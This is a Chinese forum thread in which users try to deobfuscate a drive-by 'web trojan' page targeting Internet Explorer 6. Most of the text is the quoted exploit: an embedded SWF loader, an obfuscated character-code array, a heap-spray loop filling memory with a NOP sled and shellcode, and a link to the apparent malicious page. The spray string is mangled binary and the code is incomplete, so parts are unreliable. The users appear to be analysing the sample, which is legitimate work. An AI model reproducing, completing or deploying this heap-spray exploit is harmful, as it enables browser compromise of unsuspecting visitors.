<script>
function ifmy()
{
var dd = arr.toString().replace(/,/g,"");
dd = dd.replace([url=]/@/g[/url],",")
alert(dd);
for(aniti=ina;aniti<0x600;aniti++)
{memory[aniti]=nop + SC;}
}
</script>
为什么到这一步没办法继续下去了



function ifmy()
{
var dd = arr.toString().replace(/,/g,"");
dd = dd.replace([url=]/@/g[/url],",")
eval(dd);
for(aniti=ina;aniti<0x600;aniti++)
{memory[aniti]=nop + SC;}
}
原来的样子。

用户系统信息：Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)

这个貌似没有加密

没有加密的网马

代码给得不全啊

http://bbs.ikaka.com/showtopic-8696623.aspx
原帖

从这个代码看的话，那个只是一个替换函数。只要将http://adc.bij.pl/33/ie.html这个里面的代码中的abcd替换从%u，然后解密就好了

哦，原来如此。谢谢

<object width="550" height="400">


<param name="movie" value="done.swf">


<embed src="xp.swf" width="550" height="400">


</embed>


</object>





<script src="if.swf"></script>


<script language="JavaScript">


var memory;


var nop = unescape(""+"");


var spray=decodeURI("k[K3If9M4bbzkhk>abb=CRbbbi"ni~Oi
jim;

abbr
QPbb
76i$n

`bbi

c;

>abb

bb
6i$n

)`bbi

c;

_abb
QPb

6i$n

N`bbi

c;

|abbcbcbbi>c!bbbbbx1b4&Q""b^abkdrbbb%fa>L%&afbbQ+33153Q"i$"

;`bbabmgcbbbbab`
bbb"1i$F

Z`bbamf<cbbk$b24Jk$idrbbb%fa>L%&afbbbb`bb
bbb"1i$F

cbbamf~cbbkdfbbbk|nbbbi$bbbi$24Z%$bbbb%$bbbbc%b`bbQ9i<bo$2
bfbb54fQ+[bfbbbmwnbmbgbmw    i!Obfbbabak<bo$25Tfbbb4Rc    bfbbabG4VTfbbb4Vidrbbbi|nbbb%fa>L14Ni\nbbbidrbbb%fe>Lcbcbbi>
bcbb1
bcbb5bb4~iQ"Q9cb`bbi.a6jk~ca"f    i.i;a!rQ"231222222522i$j

bbbi^

Mcbb

Pbbb

b


6i$n

Sbbbk$^CfbbboB^4rQ911112

bbbcbcbbia%f%ePsn%%f
k3-%%jBu)%%n3"X%%r\T[%%vZ6y%%z\B%%~KUO%%BzhrCRbbbi"ni~Oi
jik4f;

Abbbr
QPbb
76id

pbbbi

g;

fbbbQ54fbZ

bZscgrrrrji7io"g

Zbbb!bZ

bZscgrrrr
jhbbo"g

ubbb!

sbbbZscfb nb    `:!

9$eZk=c%%g!1i>1"
brbb5i$B

d:!34i^iLa4iBaQ++#Oa'Q9m\rX4j#)ea8"    Y}<i<Fa?in)i<~a?ifia'I<;!

}PPTmq*_Psng=MY
k3-3"Xep@|F
qPvlqhN[z&o}5o!\N9zhrb4Mx1w
XMMLLMMLbbbb");


var sss =Array(198,177,194,112,163,147,141,197,190,181,195,179,177,192,181,120,195,192,194,177,201,126,194,181,192,188,177,179,181,120,127,177,178,179,180,127,183,144,114,117,197,114,121,121,139,199,184,185,188,181,120,190,191,192,126,188,181,190,183,196,184,112,140,141,112,128,200,129,128,128,128,128,127,130,121,112,190,191,192,123,141,190,191,192,139,89,190,191,192,141,190,191,192,126,195,197,178,195,196,194,185,190,183,120,128,144,128,200,129,128,128,128,128,127,130,112,125,112,163,147,126,188,181,190,183,196,184,121,139,89,189,181,189,191,194,201,141,190,181,199,112,145,194,194,177,201,120,121,139);


var arr =new Array();


for(var i=0;i<sss.length;i++)


{


arr=String.fromCharCode(sss-80);


}





var ina=0;


var qtmsi="yoxxu";


ifmy();





得到这一段，是不是要加到if.swf里面去运行？
可是运行以后还是不跳框出来。

最后那里不是有个明显的调用ifmy()函数的语句么？你将swf中的函数放到这个文件中，然后将eval改下应该就OK了。那个函数没有仔细看，不过应该是这样的。

奇怪了- -我试过了，还是不行